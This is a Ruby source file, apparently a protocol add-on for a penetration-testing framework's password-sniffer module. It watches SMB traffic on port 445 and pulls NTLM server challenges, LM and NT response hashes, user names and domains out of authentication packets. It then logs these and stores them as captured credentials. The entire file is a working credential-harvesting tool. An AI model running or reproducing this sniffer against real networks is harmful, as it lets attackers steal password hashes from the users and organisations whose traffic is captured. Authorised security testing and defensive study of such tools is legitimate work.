# Psnuffle password sniffer add-on class for smb # part of psnuffle sniffer auxiliary module # # When db is available reports go into db # #Memo : # Authentification without extended security set #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17 #3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0) #4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok # Authentification with extended security set #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 #3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message #4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge #5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes #6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok class SnifferSMB < BaseProtocolParser def register_sigs self.sigs = { :setupandx => /\xffSMB\x73/, :negotiate => /\xffSMB\x72/, } end def parse(pkt) # We want to return immediatly if we do not have a packet which is handled by us return unless pkt.is_tcp? return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445) s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt)) self.sigs.each_key do |k| # There is only one pattern per run to test matched = nil matches = nil if(pkt.payload =~ self.sigs[k]) matched = k matches = $1 end case matched when :negotiate payload = pkt.payload.dup wordcount = payload[36,1].unpack("C")[0] #negotiate response if wordcount == 17 flags2 = payload[14,2].unpack("v")[0] #the server challenge is here if flags2 & 0x800 == 0 s[:challenge] = payload[73,8].unpack("H*")[0] s[:last] = :negotiate end end when :setupandx payload = pkt.payload.dup ntlmpayload = payload[/NTLMSSP\x00.*/m] if ntlmpayload ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0] case ntlmmessagetype when 2 # challenge s[:challenge] = ntlmpayload[24,8].unpack("H*")[0] s[:last] = :ntlm_type2 when 3 # auth if s[:last] == :ntlm_type2 lmlength = ntlmpayload[12, 2].unpack("v")[0] lmoffset = ntlmpayload[16, 2].unpack("v")[0] ntlmlength = ntlmpayload[20, 2].unpack("v")[0] ntlmoffset = ntlmpayload[24, 2].unpack("v")[0] domainlength = ntlmpayload[28, 2].unpack("v")[0] domainoffset = ntlmpayload[32, 2].unpack("v")[0] usrlength = ntlmpayload[36, 2].unpack("v")[0] usroffset = ntlmpayload[40, 2].unpack("v")[0] s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || '' s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || '' s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || '' s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || '' secbloblength = payload[51,2].unpack("v")[0] names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') } s[:peer_os] = names[0] || '' s[:peer_lm] = names[1] || '' s[:last] = :ntlm_type3 end end else wordcount = payload[36,1].unpack("C")[0] #authentification without smb extended security (smbmount, msf server capture) if wordcount == 13 and s[:last] == :negotiate lmlength = payload[51,2].unpack("v")[0] ntlmlength = payload[53,2].unpack("v")[0] s[:lmhash] = payload[65,lmlength].unpack("H*")[0] s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0] names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') } s[:user] = names[0] s[:domain] = names[1] s[:peer_os] = names[2] s[:peer_lm] = names[3] s[:last] = :smb_no_ntlm else #answer from server if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm #do not output anonymous/guest logging unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m #set lmhash to a default value if not provided s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash] smb_status = payload[9,4].unpack("V")[0] if smb_status == 0 # success ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash]) logmessage = "#{ntlm_ver} Response Captured in session : #{s[:session]} \n" + "USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" + "SERVER CHALLENGE:#{s[:challenge]} " + "\nLMHASH:#{s[:lmhash]} " + "\nNTHASH:#{s[:ntlmhash]}\n" print_status(logmessage) src_ip = s[:host] dst_ip = s[:session].split("-")[1].split(":")[0] # know this is ugly , last code added :-/ smb_db_type_hash = case ntlm_ver when "NTLMv1" then "smb_netv1_hash" when "NTLM2_SESSION" then "smb_netv1_hash" when "NTLMv2" then "smb_netv2_hash" end # DB reporting report_auth_info( :host => dst_ip, :port => 445, :sname => 'smb', :user => s[:user], :pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge], :type => smb_db_type_hash, :proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}", :active => true ) report_note( :host => src_ip, :type => "smb_peer_os", :data => s[:peer_os] ) if (s[:peer_os] and s[:peer_os].strip.length > 0) report_note( :host => src_ip, :type => "smb_peer_lm", :data => s[:peer_lm] ) if (s[:peer_lm] and s[:peer_lm].strip.length > 0) report_note( :host => src_ip, :type => "smb_domain", :data => s[:domain] ) if (s[:domain] and s[:domain].strip.length > 0) end end end s[:last] = nil sessions.delete(s[:session]) end end when nil # No matches, no saved state else sessions[s[:session]].merge!({k => matches}) end # end case matched end # end of each_key end # end of parse #ntlmv1, ntlmv2 or ntlm2_session def detect_ntlm_ver(lmhash, ntlmhash) return "NTLMv2" if ntlmhash.length > 48 if lmhash.length == 48 and ntlmhash.length == 48 if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16 return "NTLM2_SESSION" else return "NTLMv1" end else raise RuntimeError, "Unknow hash type" end end end